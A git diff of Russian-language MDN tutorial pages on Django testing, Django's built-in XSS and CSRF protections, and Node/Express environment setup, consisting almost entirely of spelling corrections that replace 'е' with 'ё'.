поскольку это было <em>домашним заданием</em>. В таком случае просто закомментируйте соответствующие строки. Поступите также и в следующем разделе, посвященном <code>RenewBookInstancesViewTest.</code></p> +<p><strong>Примечание:</strong> Метод <code>setUp()</code> создаёт книгу с заданным языком <code>Language</code>, но <em>ваш</em> код может не включать в себя модель <code>Language</code>, поскольку это было <em>домашним заданием</em>. В таком случае просто закомментируйте соответствующие строки. Поступите также и в следующем разделе, посвящённом <code>RenewBookInstancesViewTest.</code></p> </div> <pre class="brush: python">import datetime @@ -611,7 +611,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase): self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html') </pre> -<p>Если пользователь не залогирован то, чтобы убедиться в том что отображение перейдет на страницу входа (логирования), мы используем метод <code>assertRedirects</code>, что продемонстрировано в методе <code>test_redirect_if_not_logged_in()</code>. Затем мы осуществляем вход для пользователя и проверяем что полученный статус <code>status_code</code> равен 200 (успешно). </p> +<p>Если пользователь не залогирован то, чтобы убедиться в том что отображение перейдёт на страницу входа (логирования), мы используем метод <code>assertRedirects</code>, что продемонстрировано в методе <code>test_redirect_if_not_logged_in()</code>. Затем мы осуществляем вход для пользователя и проверяем что полученный статус <code>status_code</code> равен 200 (успешно). </p> <p>Остальные тесты проверяют, соответственно, что наше отображение показывает только те книги которые взяты текущим пользователем. Скопируйте код, показанный ниже, в нижнюю часть предыдущего класса.</p> @@ -678,7 +678,7 @@ class LoanedBookInstancesByUserListViewTest(TestCase): <h4 id="Тестирование_форм_и_отображений">Тестирование форм и отображений</h4> -<p>Процесс тестирования отображений с формами немного более сложен, чем в представленных ранее случаях, поскольку вам надо протестировать большее количество кода: начальное состояние показа формы, показ формы и ее данных в случае ошибок, а также показ формы в случае успеха. Хорошей новостью является то, что мы применяем клиент для тестирования практически тем же способом, как мы делали это в случае отображений, которые отвечают только за вывод информации.</p> +<p>Процесс тестирования отображений с формами немного более сложен, чем в представленных ранее случаях, поскольку вам надо протестировать большее количество кода: начальное состояние показа формы, показ формы и её данных в случае ошибок, а также показ формы в случае успеха. Хорошей новостью является то, что мы применяем клиент для тестирования практически тем же способом, как мы делали это в случае отображений, которые отвечают только за вывод информации.</p> <p>В качестве демонстрации давайте напишем некоторые тесты для отображения, которые отвечают за обновление книг(<code>renew_book_librarian()</code>):</p> @@ -694,7 +694,7 @@ def renew_book_librarian(request, pk): # Если это POST-запрос, тогда обработать данные формы if request.method == 'POST': - # Создать объект формы и заполнить ее данными из запроса (связывание/биндинг): + # Создать объект формы и заполнить её данными из запроса (связывание/биндинг): form = RenewBookForm(request.POST) # Проверка валидности формы: @@ -706,7 +706,7 @@ def renew_book_librarian(request, pk): # переход по URL-адресу: return HttpResponseRedirect(reverse('all-borrowed') ) - # Если это GET-запрос (или что-то еще), то создаем форму по умолчанию + # Если это GET-запрос (или что-то ещё), то создаём форму по умолчанию else: proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) @@ -715,7 +715,7 @@ def renew_book_librarian(request, pk): <p>Нам надо проверить что к данному отображению имеют доступ только те пользователи, которые имеют разрешение типа <code>can_mark_returned</code>, а кроме того, что пользователи перенаправляются на страницу ошибки HTTP 404 если они пытаются обновить экземпляр книги <code>BookInstance</code>, который не существует. Мы должны проверить что начальное значение формы соответствует дате через 3 недели в будущем, а также то, что если форма прошла валидацию, то мы переходим на страницу отображения книг "all-borrowed" (забронированных). Для тестов, отвечающих за проверку "провалов", мы также должны удостовериться что они отправляют соответствующие сообщения об ошибках.</p> -<p>В нижнюю часть файла <strong>/catalog/tests/test_views.py</strong> добавьте класс тестирования (показан во фрагменте, ниже). Он создает двух пользователей и два экземпляра книги, но только один пользователь получает необходимый доступ к соответствующему отображению. Код, который "присваивает" соответствующий доступ, выделен в коде жирным:</p> +<p>В нижнюю часть файла <strong>/catalog/tests/test_views.py</strong> добавьте класс тестирования (показан во фрагменте, ниже). Он создаёт двух пользователей и два экземпляра книги, но только один пользователь получает необходимый доступ к соответствующему отображению. Код, который "присваивает" соответствующий доступ, выделен в коде жирным:</p> <pre class="brush: python">from django.contrib.auth.models import Permission # Required to grant the permission needed to set a book as returned. @@ -750,7 +750,7 @@ class RenewBookInstancesViewTest(TestCase): return_date= datetime.date.today() + datetime.timedelta(days=5) self.test_bookinstance2=BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=test_user2, status='o')</pre> -<p>В нижнюю часть класса тестирования добавьте следующие методы (из следующего фрагмента). Они проверяют, что только пользователь с соответствующим доступом (<em>testuser2</em>) имеет доступ к отображению. Мы проверяем все случаи: когда пользователь не залогинился, когда залогинился, но не имеет соответствующего доступа, когда имеет доступ, но не является заемщиком книги (тест должен быть успешным), а также, что произойдет если попытаться получить доступ к книге <code>BookInstance</code> которой не существует. Кроме того, мы проверяем то, что используется правильный (необходимый) шаблон.</p> +<p>В нижнюю часть класса тестирования добавьте следующие методы (из следующего фрагмента). Они проверяют, что только пользователь с соответствующим доступом (<em>testuser2</em>) имеет доступ к отображению. Мы проверяем все случаи: когда пользователь не залогинился, когда залогинился, но не имеет соответствующего доступа, когда имеет доступ, но не является заёмщиком книги (тест должен быть успешным), а также, что произойдёт если попытаться получить доступ к книге <code>BookInstance</code> которой не существует. Кроме того, мы проверяем то, что используется правильный (необходимый) шаблон.</p> <pre class="brush: python"> def test_redirect_if_not_logged_in(self): resp = self.client.get(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}) ) @@ -796,7 +796,7 @@ class RenewBookInstancesViewTest(TestCase): self.assertTemplateUsed(resp, 'catalog/book_renew_librarian.html') </pre> -<p>Добавьте еще один тестовый метод, показанный ниже. Он проверяет что начальная дата равна трем неделям в будущем. Заметьте, что мы имеем возможность получить доступ к начальному значению из поля формы (выделено жирным).</p> +<p>Добавьте ещё один тестовый метод, показанный ниже. Он проверяет что начальная дата равна трём неделям в будущем. Заметьте, что мы имеем возможность получить доступ к начальному значению из поля формы (выделено жирным).</p> <pre class="brush: python"> def test_form_renewal_date_initially_has_date_three_weeks_in_future(self): login = self.client.login(username='testuser2', password='12345') @@ -807,7 +807,7 @@ class RenewBookInstancesViewTest(TestCase): self.assertEqual(<strong>resp.context['form'].initial['renewal_date']</strong>, date_3_weeks_in_future ) </pre> -<p>Следующий тест (тоже добавьте его в свой класс) проверяет что отображение, в случае успеха, перенаправляет пользователя к списку всех забронированных книг. Здесь мы показываем как при помощи клиента вы можете создать и передать данные в <code>POST</code>-запросе. Данный запрос передается вторым аргументом в пост-функцию и представляет из себя словарь пар ключ/значение.</p> +<p>Следующий тест (тоже добавьте его в свой класс) проверяет что отображение, в случае успеха, перенаправляет пользователя к списку всех забронированных книг. Здесь мы показываем как при помощи клиента вы можете создать и передать данные в <code>POST</code>-запросе. Данный запрос передаётся вторым аргументом в пост-функцию и представляет из себя словарь пар ключ/значение.</p> <pre class="brush: python"> def test_redirects_to_all_borrowed_book_list_on_success(self): login = self.client.login(username='testuser2', password='12345') @@ -817,7 +817,7 @@ class RenewBookInstancesViewTest(TestCase): </pre> <div class="warning"> -<p>Вместо перехода к отображению <em>all-borrowed</em>, добавленного в качестве <em>домашнего задания</em>, вы можете перенаправить пользователя на домашнюю страницу '/'. В таком случае, исправьте две последние строки тестового кода на код, показанный ниже. Присваивание <code>follow=True</code>, в запросе, гарантирует что запрос вернет окончательный URL-адрес пункта назначения (следовательно проверяется <code>/catalog/</code>, а не <code>/</code>).</p> +<p>Вместо перехода к отображению <em>all-borrowed</em>, добавленного в качестве <em>домашнего задания</em>, вы можете перенаправить пользователя на домашнюю страницу '/'. В таком случае, исправьте две последние строки тестового кода на код, показанный ниже. Присваивание <code>follow=True</code>, в запросе, гарантирует что запрос вернёт окончательный URL-адрес пункта назначения (следовательно проверяется <code>/catalog/</code>, а не <code>/</code>).</p> <pre class="brush: python"> resp = self.client.post(reverse('renew-book-librarian', kwargs={'pk':self.test_bookinstance1.pk,}), {'renewal_date':valid_date_in_future},<strong>follow=True</strong> ) <strong>self.assertRedirects(resp, '/catalog/')</strong></pre> @@ -844,7 +844,7 @@ class RenewBookInstancesViewTest(TestCase): <h3 id="Шаблоны">Шаблоны</h3> -<p>Django предоставляет API для тестирования, которое проверяет что функции отображения вызывают правильные шаблоны, а также позволяют убедиться, что им передается соответствующая информация. Кроме того, в Django имеется возможность использовать сторонние API для проверок того, что ваш HTML показывает то, что надо.</p> +<p>Django предоставляет API для тестирования, которое проверяет что функции отображения вызывают правильные шаблоны, а также позволяют убедиться, что им передаётся соответствующая информация. Кроме того, в Django имеется возможность использовать сторонние API для проверок того, что ваш HTML показывает то, что надо.</p> <h2 id="Другие_рекомендованные_инструменты_для_тестирования">Другие рекомендованные инструменты для тестирования</h2> @@ -853,7 +853,7 @@ class RenewBookInstancesViewTest(TestCase): <p>Из всего множества сторонних инструментов тестирования, мы кратко опишем возможности двух:</p> <ul> - <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: Это инструмент Python, который формирует отчеты о том, какое количество кода выполняется во время проведения тестов. Это полезно для уточнения степени "покрытия" кода тестами.</li> + <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: Это инструмент Python, который формирует отчёты о том, какое количество кода выполняется во время проведения тестов. Это полезно для уточнения степени "покрытия" кода тестами.</li> <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> это фреймворк проведения автоматического тестирования в настоящем браузере. Он позволяет вам имитировать взаимодействие пользователя с вашим сайтом (что является следующим шагом в проведении интеграционных тестов).</li> </ul> @@ -871,7 +871,7 @@ class RenewBookInstancesViewTest(TestCase): <h2 id="Итоги">Итоги</h2> -<p>Написание тестов не является ни весельем, ни развлечением и, соответственно, при создании сайтов часто остается напоследок (или вообще не используется). Но тем не менее, они являются действенным механизмом, который позволяет вам убедиться, что ваш код в находится безопасности, даже если в него добавляются какие-либо изменения. Кроме того, тесты повышают эффективность поддержки вашего кода.</p> +<p>Написание тестов не является ни весельем, ни развлечением и, соответственно, при создании сайтов часто остаётся напоследок (или вообще не используется). Но тем не менее, они являются действенным механизмом, который позволяет вам убедиться, что ваш код в находится безопасности, даже если в него добавляются какие-либо изменения. Кроме того, тесты повышают эффективность поддержки вашего кода.</p> <p>В данном руководстве мы продемонстрировали вам принципы написания тестов для ваших моделей, форм и отображений. Мы кратко перечислили что именно необходимо тестировать, что обычно сложно выявить в самом начале разработки. Существует много аспектов которые необходимо изучить, но даже с тем что мы уже узнали, вы имеете возможность создавать эффективные юнит-тесты для значительного улучшения процесса разработки.</p> diff --git a/files/ru/learn/server-side/django/web_application_security/index.html b/files/ru/learn/server-side/django/web_application_security/index.html index 435982ac1f..9ceb8c74e2 100644 --- a/files/ru/learn/server-side/django/web_application_security/index.html +++ b/files/ru/learn/server-side/django/web_application_security/index.html @@ -7,7 +7,7 @@ translation_of: Learn/Server-side/Django/web_application_security <div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div> -<p class="summary">Защита пользовательских данных - важная часть проектирования любого веб-сайта.Ранее мы рассматривали некоторые наиболее распространенные угрозы безопасности в теме <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a>. В данной статье будет представлена практическая демонстрация того, как встроенные механизмы защиты Django's обрабатывают подобные угрозы.</p> +<p class="summary">Защита пользовательских данных - важная часть проектирования любого веб-сайта.Ранее мы рассматривали некоторые наиболее распространённые угрозы безопасности в теме <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a>. В данной статье будет представлена практическая демонстрация того, как встроенные механизмы защиты Django's обрабатывают подобные угрозы.</p> <table class="learn-box standard-table"> <tbody> @@ -24,7 +24,7 @@ translation_of: Learn/Server-side/Django/web_application_security <h2 id="Обзор">Обзор</h2> -<p>Тема <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a> рассматривает значение безопасности веб-приложения для проектирования серверного приложения и некоторые из наиболее распространенных угроз, от которых вам может потребоваться защита. Одна из ключевых идей этой темы состоит в том, что практически все атаки будут успешны, если веб-приложение доверяет пользовательским данным (например данным из браузера).</p> +<p>Тема <a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a> рассматривает значение безопасности веб-приложения для проектирования серверного приложения и некоторые из наиболее распространённых угроз, от которых вам может потребоваться защита. Одна из ключевых идей этой темы состоит в том, что практически все атаки будут успешны, если веб-приложение доверяет пользовательским данным (например данным из браузера).</p> <div class="warning"> <p><strong>Важно:</strong> Наиболее важный урок, который вы должны усвоить, состоит в том - что никогда не стоит доверять переданным пользователем данным. Они включают в себя GET параметры в URL, тело POST запроса, HTTP заголовки, cookies, загруженные пользователем данные и т.д. Всегда проверяйте и обрабатывайте все входные данные. Всегда готовьтесь к худшему.</p> @@ -32,15 +32,15 @@ translation_of: Learn/Server-side/Django/web_application_security <p>Хорошей новостью для всех разработчиков, использующих Django, является то, что большинство известных атак обрабатывается фреймворком! Статья <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Безопасность в Django</a> (Django docs) описывает методы обеспечения безопасности Django и стратегии защиты веб-приложения разработанного на данном фреймворке.</p> -<h2 id="Распространенные_угрозыметоды_защиты">Распространенные угрозы/методы защиты</h2> +<h2 id="Распространённые_угрозыметоды_защиты">Распространённые угрозы/методы защиты</h2> <p>Мы не будем дублировать документацию Django и в данной статье продемонстрируем некоторые основные методы обеспечения безопасности в контексте разрабатываемого в данном руководстве приложения <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>.</p> <h3 id="Межсайтовый_скриптинг_(XSS)">Межсайтовый скриптинг (XSS)</h3> -<p>XSS это термин, применяющийся для описания класса атак, позволяющего атакующему, через веб-сайт внедрить скрипты, которые будут выполнены на устройстве зашедшего на страницу пользователя. Часто это происходит через сохранение вредоносного кода в базе данных, откуда данный код будет возвращен и выполнен для запросившего некие данные пользователя (типичный пример - сохранение тега <script> с вредоносным кодом в комментарии, который может увидеть другой пользователь). Другой вектор атаки - в том чтобы сгенерировать определенную ссылку, при клике на которую пользователь запустит выполнение некоего замаскированного кода JavaScript в своем браузере.</p> +<p>XSS это термин, применяющийся для описания класса атак, позволяющего атакующему, через веб-сайт внедрить скрипты, которые будут выполнены на устройстве зашедшего на страницу пользователя. Часто это происходит через сохранение вредоносного кода в базе данных, откуда данный код будет возвращён и выполнен для запросившего некие данные пользователя (типичный пример - сохранение тега <script> с вредоносным кодом в комментарии, который может увидеть другой пользователь). Другой вектор атаки - в том чтобы сгенерировать определённую ссылку, при клике на которую пользователь запустит выполнение некоего замаскированного кода JavaScript в своём браузере.</p> -<p>Система шаблонов Django защищает от большинства XSS атак, <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">экранируя определенные символы</a>, считающиеся "опасными" в HTML. Мы можем продемонстрировать это, попытавшись внедрить произвольный JavaScript код в наше приложение LocalLibrary через форму добавления автора, созданную в <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство часть 9: Работа с формами</a>.</p> +<p>Система шаблонов Django защищает от большинства XSS атак, <a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">экранируя определённые символы</a>, считающиеся "опасными" в HTML. Мы можем продемонстрировать это, попытавшись внедрить произвольный JavaScript код в наше приложение LocalLibrary через форму добавления автора, созданную в <a href="/en-US/docs/Learn/Server-side/Django/Forms">Руководство часть 9: Работа с формами</a>.</p> <ol> <li>Запустите веб-сайт, используя сервер разработки (<code>python3 manage.py runserver</code>).</li> @@ -54,7 +54,7 @@ translation_of: Learn/Server-side/Django/web_application_security </div> </li> <li>Нажмите <strong>Submit</strong> для сохранения записи.</li> - <li>После сохранения автора - он должен быть отображен, как показано ниже. Так как сработала защита от XSS - команда <code>alert()</code> не будет запущена. Вместо этого скрипт будет отображаться как обычный текст.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li> + <li>После сохранения автора - он должен быть отображён, как показано ниже. Так как сработала защита от XSS - команда <code>alert()</code> не будет запущена. Вместо этого скрипт будет отображаться как обычный текст.<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li> </ol> <p>Если вы посмотрите исходный HTML код, вы увидите, что "опасные" символы - например такие как скобки тегов - были заменены на их безопасные эквивалентные html сущности (к примеру <code>></code> на <code>&gt;</code>)</p> @@ -64,7 +64,7 @@ translation_of: Learn/Server-side/Django/web_application_security <p>Использование шаблонов Django защищает вас от большинства XSS атак. Однако существует возможность отключения данной защиты, при котором экранирование не будет автоматически применятся ко всем полям, которые не должны будут заполнятся пользователем(к примеру, поле <code>help_text</code> обычно заполняется не пользователем, поэтому Django не будет экранировать его значение).</p> -<p>Так же XSS атаки могут быть осуществлены через другие ненадежные источники данных, такие как cookies, сторонние сервисы или загруженные файлы (и прочие источники, данные которых не были специально обработаны перед отображением на странице). Если вы отображаете данные из этих источников, вы должны добавить ваш собственный обработчик для фильтрации данных.</p> +<p>Так же XSS атаки могут быть осуществлены через другие ненадёжные источники данных, такие как cookies, сторонние сервисы или загруженные файлы (и прочие источники, данные которых не были специально обработаны перед отображением на странице). Если вы отображаете данные из этих источников, вы должны добавить ваш собственный обработчик для фильтрации данных.</p> <h3 id="Межсайтовая_подделка_запроса_(CSRF)">Межсайтовая подделка запроса (CSRF)</h3> @@ -93,9 +93,9 @@ translation_of: Learn/Server-side/Django/web_application_security </html> </pre> -<p>Запустите веб-сервер разработки и войдите в аккаунт супер-пользователя. Скопируйте приведенный выше текст в файл и затем откройте его в браузере. Вы должны получить CSRF ошибку, потому что у Django есть защита от атак данного вида!</p> +<p>Запустите веб-сервер разработки и войдите в аккаунт супер-пользователя. Скопируйте приведённый выше текст в файл и затем откройте его в браузере. Вы должны получить CSRF ошибку, потому что у Django есть защита от атак данного вида!</p> -<p>Механизм защиты заключается в том, что вы добавляете тег шаблона <code>{% csrf_token %}</code> в вашу форму. Этот токен будет отображен в вашем HTML как показано ниже, со значением, уникальным для каждого запрашивающего форму пользователя.</p> +<p>Механизм защиты заключается в том, что вы добавляете тег шаблона <code>{% csrf_token %}</code> в вашу форму. Этот токен будет отображён в вашем HTML как показано ниже, со значением, уникальным для каждого запрашивающего форму пользователя.</p> <pre class="brush: html"><input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /> </pre> @@ -138,7 +138,7 @@ translation_of: Learn/Server-side/Django/web_application_security <h2 id="Подводим_итоги">Подводим итоги</h2> -<p>Django имеет методы обеспечения защиты от распространенных видов атак, включая XSS и CSRF атаки. В данной статье мы продемонстрировали, как различные виды атак обрабатываются Django на примере нашего приложения <em>LocalLibrary</em>. Мы так же кратко рассмотрели другие виды уязвимостей и методы защиты от них.</p> +<p>Django имеет методы обеспечения защиты от распространённых видов атак, включая XSS и CSRF атаки. В данной статье мы продемонстрировали, как различные виды атак обрабатываются Django на примере нашего приложения <em>LocalLibrary</em>. Мы так же кратко рассмотрели другие виды уязвимостей и методы защиты от них.</p> <p>Это было очень краткое погружение в вопрос веб-безопасности. Мы крайне рекомендуем вам прочитать <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Безопасность в Django</a> для более глубокого понимания.</p> diff --git a/files/ru/learn/server-side/express_nodejs/development_environment/index.html b/files/ru/learn/server-side/express_nodejs/development_environment/index.html index 50a624c3cb..c0c188f731 100644 --- a/files/ru/learn/server-side/express_nodejs/development_environment/index.html +++ b/files/ru/learn/server-side/express_nodejs/development_environment/index.html @@ -35,7 +35,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment NPM также можно использовать для (глобальной) установки Express Application Generator, удобного инструмента для создания каркасных веб-приложений Express, которые следуют шаблону MVC. Генератор приложений является необязательным, поскольку вам не нужно использовать этот инструмент для создания приложений, использующих Express, или для приложений для создан Express, имеющих одинаковую архитектурную разметку или зависимости. Мы будем использовать его, потому что это значительно облегчает начало работы и продвигает модульную структуру приложения.</span></p> <div class="note"> -<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание: в отличие от некоторых других веб-сред, среда разработки не включает отдельный веб-сервер разработки.</span> <span title="">В Node / Express веб-приложение создает и запускает собственный веб-сервер!</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Примечание: в отличие от некоторых других веб-сред, среда разработки не включает отдельный веб-сервер разработки.</span> <span title="">В Node / Express веб-приложение создаёт и запускает собственный веб-сервер!</span></span></p> </div> <p><span class="tlid-translation translation" lang="ru"><span title="">Существуют и другие периферийные инструменты, которые являются частью типичной среды разработки, в том числе текстовые редакторы или IDE для редактирования кода и инструменты управления исходным кодом, такие как Git, для безопасного управления различными версиями вашего кода.</span> <span title="">Мы предполагаем, что вы уже установили подобные инструменты (в частности, текстовый редактор).</span></span></p> @@ -50,11 +50,11 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment <p><span class="tlid-translation translation" lang="ru"><span title="">Существует множество выпусков Node - более новые выпуски содержат исправления ошибок, поддержку более свежих версий стандартов ECMAScript (JavaScript) и улучшения API-интерфейсов Node.</span><br> <br> - <span title="">Как правило, вы должны использовать самый последний выпуск LTS (с долгосрочной поддержкой), поскольку он будет более стабильным, чем «текущий» выпуск, при этом все еще имея относительно недавние функции (и все еще активно поддерживается).</span> <span title="">Вы должны использовать Текущий выпуск, если вам нужна функция, которой нет в версии LTS.</span><br> + <span title="">Как правило, вы должны использовать самый последний выпуск LTS (с долгосрочной поддержкой), поскольку он будет более стабильным, чем «текущий» выпуск, при этом все ещё имея относительно недавние функции (и все ещё активно поддерживается).</span> <span title="">Вы должны использовать Текущий выпуск, если вам нужна функция, которой нет в версии LTS.</span><br> <br> <span title="">Для Express вы всегда должны использовать последнюю версию.</span></span></p> -<h3 id="Как_насчет_баз_данных_и_других_зависимостей"><span class="tlid-translation translation" lang="ru"><span title="">Как насчет баз данных и других зависимостей?</span></span></h3> +<h3 id="Как_насчёт_баз_данных_и_других_зависимостей"><span class="tlid-translation translation" lang="ru"><span title="">Как насчёт баз данных и других зависимостей?</span></span></h3> <p><span class="tlid-translation translation" lang="ru"><span title="">Другие зависимости, такие как драйверы баз данных, механизмы шаблонов, механизмы аутентификации и т. д., Являются частью приложения и импортируются в среду приложения с помощью диспетчера пакетов NPM.</span> <span title="">Мы обсудим их в следующих статьях для конкретных приложений.</span></span></p> @@ -78,7 +78,7 @@ translation_of: Learn/Server-side/Express_Nodejs/development_environment <li><span class="tlid-translation translation" lang="ru"><span title="">Нажмите кнопку, чтобы загрузить сборку LTS, которая «Рекомендуется для большинства пользователей».</span></span></li> </ol> </li> - <li><span class="tlid-translation translation" lang="ru"><span title="">Установите Node, дважды щелкнув по загруженному файлу и следуя инструкциям по установке.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Установите Node, дважды щёлкнув по загруженному файлу и следуя инструкциям по установке.</span></span></li> </ol> <h3 id="Ubuntu_16.04">Ubuntu 16.04</h3> @@ -98,7 +98,7 @@ sudo apt-get install -y nodejs</code> <h3 id="Проверка_вашей_установки_Nodejs_и_NPM">Проверка вашей установки Nodejs и NPM</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой способ проверить, установлен ли этот узел, - это запустить команду «версия» в своем терминале / командной строке и проверить, что возвращается строка версии:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Самый простой способ проверить, установлен ли этот узел, - это запустить команду «версия» в своём терминале / командной строке и проверить, что возвращается строка версии:</span></span></p> <pre class="brush: bash notranslate">>node -v v8.11.3</pre> @@ -137,7 +137,7 @@ server.listen(port, hostname, () => { <p><span class="tlid-translation translation" lang="ru"><span title="">Код импортирует модуль «http» и использует его для создания сервера (createServer ()), который обрабатывает HTTP-запросы на порту 3000. Затем сценарий выводит на консоль сообщение о том, какой URL-адрес браузера можно использовать для тестирования сервера.</span> <span title="">Функция createServer () принимает в качестве аргумента колбэк-функцию, которая будет вызываться при получении HTTP-запроса - она просто возвращает ответ с кодом состояния HTTP 200 («ОК») и простым текстом «Hello World».</span></span></p> <div class="note"> - <p><span class="tlid-translation translation" lang="ru"><span title="">Замечание: не беспокойтесь, если вы еще не совсем понимаете, что делает этот код!</span> <span title="">Мы объясним наш код более подробно, как только мы начнем использовать Express!</span></span></p> + <p><span class="tlid-translation translation" lang="ru"><span title="">Замечание: не беспокойтесь, если вы ещё не совсем понимаете, что делает этот код!</span> <span title="">Мы объясним наш код более подробно, как только мы начнём использовать Express!</span></span></p> </div> </li> <li><span class="tlid-translation translation" lang="ru"><span title="">Запустите сервер, перейдя в тот же каталог, что и ваш файл hellonode.js в командной строке, и вызвав узел вместе с именем скрипта, например так:</span></span> @@ -153,7 +153,7 @@ Server running at http://127.0.0.1:3000/ <p><span class="tlid-translation translation" lang="ru"><span title="">Помимо самого Node, NPM является наиболее важным инструментом для работы с приложениями Node.</span> <span title="">NPM используется для получения любых пакетов (библиотек JavaScript), которые необходимы приложению для разработки, тестирования и / или производства, а также может использоваться для запуска тестов и инструментов, используемых в процессе разработки.</span></span></p> <div class="note"> -<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">С точки зрения Node, Express - это просто еще один пакет, который вам нужно установить с помощью NPM, а затем установить его в своем собственном коде.</span></span></p> +<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">С точки зрения Node, Express - это просто ещё один пакет, который вам нужно установить с помощью NPM, а затем установить его в своём собственном коде.</span></span></p> </div> <p><span class="tlid-translation translation" lang="ru"><span title="">Вы можете вручную использовать NPM для получения каждого необходимого пакета отдельно.</span> <span title="">Обычно мы вместо этого управляем зависимостями, используя простой текстовый файл с именем package.json.</span> <span title="">В этом файле перечислены все зависимости для конкретного «пакета» JavaScript, включая имя пакета, версию, описание, исходный файл для выполнения, производственные зависимости, зависимости разработки, версии Node, с которыми он может работать, и т. Д. Файл package.json должен</span> <span title="">содержать все, что нужно NPM для загрузки и запуска вашего приложения (если вы пишете библиотеку многократного использования, вы можете использовать это определение для загрузки пакета в репозиторий npm и сделать его доступным для других пользователей).</span></span></p> @@ -163,7 +163,7 @@ Server running at http://127.0.0.1:3000/ <p><span class="tlid-translation translation" lang="ru"><span title="">Следующие шаги показывают, как вы можете использовать NPM для загрузки пакета, сохранить его в зависимостях проекта, а затем потребовать его в приложении Node.</span></span></p> <div class="note"> -<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Здесь мы показываем инструкции для получения и установки пакета Express.</span> <span title="">Позже мы покажем, как этот пакет и другие уже указаны для нас с помощью Express Application Generator.</span> <span title="">Этот раздел предоставлен, потому что полезно понять, как работает NPM и что создается генератором приложений.</span></span></p> +<p><strong>Замечание:</strong> <span class="tlid-translation translation" lang="ru"><span title="">Здесь мы показываем инструкции для получения и установки пакета Express.</span> <span title="">Позже мы покажем, как этот пакет и другие уже указаны для нас с помощью Express Application Generator.</span> <span title="">Этот раздел предоставлен, потому что полезно понять, как работает NPM и что создаётся генератором приложений.</span></span></p> </div> <ol> @@ -225,7 +225,7 @@ app.listen(</code>8000<code>, () => { });</code> </pre> - <p><span class="tlid-translation translation" lang="ru"><span title="">Этот код показывает минимальное веб-приложение Express «HelloWorld».</span> <span title="">Это импортирует модуль «экспресс» и использует его для создания сервера (приложения), который обрабатывает HTTP-запросы на порту 8000 и выводит на консоль сообщение, объясняющее, какой URL-адрес браузера можно использовать для тестирования сервера.</span> <span title="">Функция app.get () отвечает только на запросы HTTP GET с указанным URL-путем ('/'), в этом случае вызывая функцию для отправки нашего Hello World!</span> <span title="">сообщение.</span></span><br> + <p><span class="tlid-translation translation" lang="ru"><span title="">Этот код показывает минимальное веб-приложение Express «HelloWorld».</span> <span title="">Это импортирует модуль «экспресс» и использует его для создания сервера (приложения), который обрабатывает HTTP-запросы на порту 8000 и выводит на консоль сообщение, объясняющее, какой URL-адрес браузера можно использовать для тестирования сервера.</span> <span title="">Функция app.get () отвечает только на запросы HTTP GET с указанным URL-путём ('/'), в этом случае вызывая функцию для отправки нашего Hello World!</span> <span title="">сообщение.</span></span><br> <br> <span class="tlid-translation translation" lang="ru"><span title="">Создайте файл с именем index.js в корне каталога приложения «myapp» и передайте ему содержимое, показанное выше.</span></span></p> </li> @@ -239,7 +239,7 @@ Example app listening on port 8000 <h3 id="Зависимости_разработки">Зависимости разработки</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Если зависимость используется только во время разработки, вы должны вместо этого сохранить ее как «зависимость разработки» (чтобы пользователям вашего пакета не приходилось устанавливать ее в производстве).</span> <span title="">Например, чтобы использовать популярный инструмент JavaScript Linting eslint, вы должны вызвать NPM, как показано ниже:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Если зависимость используется только во время разработки, вы должны вместо этого сохранить её как «зависимость разработки» (чтобы пользователям вашего пакета не приходилось устанавливать её в производстве).</span> <span title="">Например, чтобы использовать популярный инструмент JavaScript Linting eslint, вы должны вызвать NPM, как показано ниже:</span></span></p> <pre class="brush: bash notranslate"><code>npm install eslint --save-dev</code></pre> @@ -284,7 +284,7 @@ npm run lint</code> <h2 id="Установка_Express_Application_Generator">Установка Express Application Generator</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Инструмент Express Application Generator создает «скелет» приложения Express.</span> <span title="">Установите генератор, используя NPM, как показано (флаг -g устанавливает инструмент глобально, чтобы вы могли вызывать его из любого 